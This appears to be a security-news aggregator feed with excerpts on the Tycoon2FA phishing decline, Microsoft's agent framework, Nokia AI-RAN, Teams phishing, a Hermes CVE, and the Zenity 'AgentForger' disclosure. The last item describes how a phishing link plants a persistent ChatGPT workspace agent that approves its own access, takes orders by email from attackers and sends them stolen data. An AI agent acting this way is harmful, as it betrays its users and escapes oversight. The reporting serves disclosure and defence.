<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4201146/tycoon2fa-takedown-reshapes-the-phishing-landscape.html">CSO</a>.</em></p>
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<title><![CDATA[Tycoon2FA takedown reshapes the phishing landscape]]></title>
<description><![CDATA[Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.



“Phishing volume linked to the platform fell 92% from pre-disruption aver...]]></description>
<link>https://tsecurity.de/de/3691257/it-security-nachrichten/tycoon2fa-takedown-reshapes-the-phishing-landscape/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691257/it-security-nachrichten/tycoon2fa-takedown-reshapes-the-phishing-landscape/</guid>
<pubDate>Fri, 24 Jul 2026 12:26:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Traditional phishing techniques are in decline as a result of the <a href="https://www.csoonline.com/article/4140890/microsoft-leads-takedown-of-tycoon2fa-phishing-service-infrastructure.html">disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform</a>, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.</p>



<p class="wp-block-paragraph">“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in <a href="https://www.microsoft.com/en-us/security/blog/2026/07/23/email-threat-landscape-q2-2026-trends-and-insights/">the report</a>.</p>



<p class="wp-block-paragraph">The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.</p>



<p class="wp-block-paragraph">Riding this shift in were a few notable phishing campaigns, including an automated <a href="https://www.csoonline.com/article/575559/business-email-compromise-scams-take-new-dimension-with-multi-stage-attacks.html">business email compromise</a> (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.</p>



<p class="wp-block-paragraph">To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html">MFA</a> for accounts that still require passwords.</p>



<h2 class="wp-block-heading">Tycoon2FA disruption sent attackers exploring</h2>



<p class="wp-block-paragraph">The take-down of <a href="https://www.csoonline.com/article/4100393/hybrid-2fa-phishing-kits-are-making-attacks-harder-to-detect.html">Tycoon2FA</a> forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.</p>



<p class="wp-block-paragraph">“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.</p>



<p class="wp-block-paragraph">The decline extended to QR Code <a href="https://www.csoonline.com/article/3557585/attackers-are-using-qr-codes-sneakily-crafted-in-ascii-and-blob-urls-in-phishing-emails.html">lures</a> and fake CAPTCHA <a href="https://www.csoonline.com/article/3829416/fake-captcha-attacks-are-increasing-say-experts.html">pages</a>, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.</p>



<p class="wp-block-paragraph">But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.</p>



<p class="wp-block-paragraph">The adaptation came in the form of using Microsoft <a href="https://www.csoonline.com/article/4160858/attackers-abuse-microsoft-teams-to-impersonate-the-it-helpdesk-in-a-new-enterprise-intrusion-playbook.html">Teams as a social engineering channel</a>. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.</p>



<p class="wp-block-paragraph">Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.</p>



<h2 class="wp-block-heading">Phishing changes but the defense doesn’t</h2>



<p class="wp-block-paragraph">While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.</p>



<p class="wp-block-paragraph">QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.</p>



<p class="wp-block-paragraph">BEC attacks hit 9 million in March, falling to 3.9 million in June.</p>



<p class="wp-block-paragraph">But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant <a href="https://www.csoonline.com/article/3535222/mfa-adoption-is-catching-up-but-is-not-quite-there.html">MFA</a> to reduce the effectiveness of credential theft campaigns.</p>



<p class="wp-block-paragraph">The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, <a href="https://www.csoonline.com/article/4040128/fido-undermined.html">FIDO </a>keys, and Microsoft Authenticator.</p>



<p class="wp-block-paragraph">Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.</p>
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<title><![CDATA[The Microsoft agent framework wars are over. The real architecture decision starts now]]></title>
<description><![CDATA[Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?



At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the fo...]]></description>
<link>https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?</p>



<p class="wp-block-paragraph">At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.</p>



<p class="wp-block-paragraph">Looking back, I think we were asking the wrong question. I certainly was.</p>



<p class="wp-block-paragraph">I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.</p>



<p class="wp-block-paragraph">Then Microsoft settled it for us. It <a href="https://learn.microsoft.com/en-us/agent-framework/overview/">introduced the unified Agent Framework</a>, quietly moved Semantic Kernel and AutoGen into <a href="https://devblogs.microsoft.com/agent-framework/migrate-your-semantic-kernel-and-autogen-projects-to-microsoft-agent-framework-release-candidate/">maintenance mode</a>, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.</p>



<p class="wp-block-paragraph">What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.</p>



<p class="wp-block-paragraph">It didn’t change the meal.</p>



<h2 class="wp-block-heading">The framework was never the hard part</h2>



<p class="wp-block-paragraph">Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?</p>



<p class="wp-block-paragraph">Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.</p>



<p class="wp-block-paragraph">The first question I ask now is much smaller. Does this thing actually need an agent?</p>



<p class="wp-block-paragraph">It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.</p>



<p class="wp-block-paragraph">Part of this is just that “<strong>agent</strong>” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.</p>



<h2 class="wp-block-heading">What building production agents actually taught me</h2>



<p class="wp-block-paragraph">Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.</p>



<h3 class="wp-block-heading">Context beats model choice</h3>



<p class="wp-block-paragraph">Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.</p>



<p class="wp-block-paragraph">I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”</p>



<p class="wp-block-paragraph">The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.</p>



<h3 class="wp-block-heading">Failure is where the real work is</h3>



<p class="wp-block-paragraph">Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.</p>



<p class="wp-block-paragraph">I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.</p>



<p class="wp-block-paragraph">Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.</p>



<h3 class="wp-block-heading">Identity is the real security boundary</h3>



<p class="wp-block-paragraph">This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.</p>



<p class="wp-block-paragraph">Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.</p>



<h3 class="wp-block-heading">The surprises weren’t technical</h3>



<p class="wp-block-paragraph">Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.</p>



<h2 class="wp-block-heading">Build for change, not for today’s winner</h2>



<p class="wp-block-paragraph">I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.</p>



<p class="wp-block-paragraph">The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.</p>



<p class="wp-block-paragraph">For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.</p>



<p class="wp-block-paragraph">I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.</p>



<p class="wp-block-paragraph">It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.</p>



<p class="wp-block-paragraph">So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.</p>



<p class="wp-block-paragraph">Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?</p>



<p class="wp-block-paragraph">Those questions outlast every rewrite. That’s where I’ve learned to put my effort.</p>



<p class="wp-block-paragraph">Frameworks come and go. Good architecture has to survive all of them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</guid>
<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
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<title><![CDATA[Microsoft Warns Phishing Attacks Are Moving Beyond Email Into Workplace Communication Tools]]></title>
<description><![CDATA[Microsoft has warned that phishing operators are increasingly targeting workplace communication platforms such as Microsoft Teams, using chat messages and voice calls to exploit the trust employees place in internal collaboration tools. While email remains the primary initial-access channel, Team...]]></description>
<link>https://tsecurity.de/de/3690846/it-security-nachrichten/microsoft-warns-phishing-attacks-are-moving-beyond-email-into-workplace-communication-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690846/it-security-nachrichten/microsoft-warns-phishing-attacks-are-moving-beyond-email-into-workplace-communication-tools/</guid>
<pubDate>Fri, 24 Jul 2026 08:41:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft has warned that phishing operators are increasingly targeting workplace communication platforms such as Microsoft Teams, using chat messages and voice calls to exploit the trust employees place in internal collaboration tools. While email remains the primary initial-access channel, Teams-based social engineering and voice phishing surged during the second quarter of 2026 Microsoft Threat Intelligence […]</p>
<p>The post <a href="https://cyberpress.org/workplace-tools-face-phishing/">Microsoft Warns Phishing Attacks Are Moving Beyond Email Into Workplace Communication Tools</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[CVE-2022-40138 | Facebook Hermes Bytecode Generator numeric conversion (EUVD-2022-43456)]]></title>
<description><![CDATA[A vulnerability identified as problematic has been detected in Facebook Hermes. This issue affects some unknown processing of the component Bytecode Generator. The manipulation leads to incorrect conversion between numeric types.

This vulnerability is documented as CVE-2022-40138. The attack req...]]></description>
<link>https://tsecurity.de/de/3690644/sicherheitsluecken/cve-2022-40138-facebook-hermes-bytecode-generator-numeric-conversion-euvd-2022-43456/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690644/sicherheitsluecken/cve-2022-40138-facebook-hermes-bytecode-generator-numeric-conversion-euvd-2022-43456/</guid>
<pubDate>Fri, 24 Jul 2026 06:05:23 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">problematic</a> has been detected in <a href="https://vuldb.com/product/facebook:hermes">Facebook Hermes</a>. This issue affects some unknown processing of the component <em>Bytecode Generator</em>. The manipulation leads to incorrect conversion between numeric types.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2022-40138">CVE-2022-40138</a>. The attack requires being on the local network. There is not any exploit available.

It is suggested to install a patch to address this issue.]]></content:encoded>
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<title><![CDATA[AgentForger proves AI agents can become persistent insider threats]]></title>
<description><![CDATA[A new attack method found by Zenity Labs reveals that AI agents are becoming persistent insiders that attackers can recruit, rather than malware they have to install.



Its researchers have discovered AgentForger, a phishing-based attack that silently creates and launches a fully autonomous AI a...]]></description>
<link>https://tsecurity.de/de/3690493/it-security-nachrichten/agentforger-proves-ai-agents-can-become-persistent-insider-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690493/it-security-nachrichten/agentforger-proves-ai-agents-can-become-persistent-insider-threats/</guid>
<pubDate>Fri, 24 Jul 2026 02:32:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A new attack method found by Zenity Labs reveals that AI agents are becoming persistent insiders that attackers can recruit, rather than malware they have to install.</p>



<p class="wp-block-paragraph">Its researchers have discovered <a href="https://labs.zenity.io/p/agentforger-part-1-chatgpt-cross-site-agent-forgery" target="_blank" rel="noreferrer noopener">AgentForger</a>, a phishing-based attack that silently creates and launches a fully autonomous AI agent within OpenAI workspaces.</p>



<p class="wp-block-paragraph">Once running, the agent has full access to apps like Outlook, Slack, SharePoint, and Google Drive. It is configured to operate indefinitely without further user interaction, can approve its own access by toggling “never ask” settings, and can continue to act on new assignments sent via email by the attackers that control it. Broad, unfettered access to systems allows it to perform reconnaissance, harvest sensitive data and credentials, impersonate victims, and launch phishing campaigns.</p>



<p class="wp-block-paragraph">While OpenAI resolved the vulnerability four days after disclosure, on a larger scale, AgentForger sheds light on what can happen when <a href="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html" target="_blank">AI agents go rogue</a>.</p>



<p class="wp-block-paragraph">“We’re moving into a world where software doesn’t just help people work. It works alongside them,” said <a href="https://zenity.io/authors/michael-bargury" target="_blank" rel="noreferrer noopener">Michael Bargury</a>, co-founder and CTO of agentic AI security platform Zenity. “As AI agents become more capable, attackers will naturally look for ways to influence them, just as they’ve always looked for ways to influence people.”</p>



<h2 class="wp-block-heading">A ‘persistent operator’ that acts without approval</h2>



<p class="wp-block-paragraph">OpenAI’s Workspace Agents can connect and work autonomously across Outlook, Gmail, Slack, Google Drive, SharePoint, and Teams. Users open the agent builder, describe what the agent can do in natural language, connect to tools, set approvals, review and test, schedule actions, then publish. For instance, an agent can autonomously handle incoming emails, review and take actions with approval, gather information from various sources to send out daily briefings, or automatically respond to questions in ChatGPT or Slack channels.</p>



<p class="wp-block-paragraph">Normally, this is “useful automation,” Zenity AI red team researcher <a href="https://labs.zenity.io/authors/mike-takahashi" target="_blank" rel="noreferrer noopener">Mike Takahashi</a> wrote in a <a href="https://labs.zenity.io/p/agentforger-part-1-chatgpt-cross-site-agent-forgery" target="_blank" rel="noreferrer noopener">blog post</a>. But in this attack, “the same scheduler becomes the persistence mechanism.”</p>



<p class="wp-block-paragraph">The creation workflow kicks off the moment a user clicks on a phishing link containing instructions from the threat actor. For the attack to work, a victim must be logged into ChatGPT and Workspace Agents, and have at least one integration with another app, such as Outlook, Gmail, Slack, Google Drive, SharePoint, or Teams.</p>



<p class="wp-block-paragraph">Because those connections already exist, OAuth consent screens are not triggered. Furthermore, the victim does not need to click on another link, keep a Builder tab open, or even visit ChatGPT again.</p>



<p class="wp-block-paragraph">The forged agent is a “persistent operator;” it is installed on the original click and given a schedule, and at those predetermined times, the agent invokes itself, scans for emails from attacker addresses with the subject line “task”, carries those orders out, then returns results to the same attacker-controlled email address.</p>



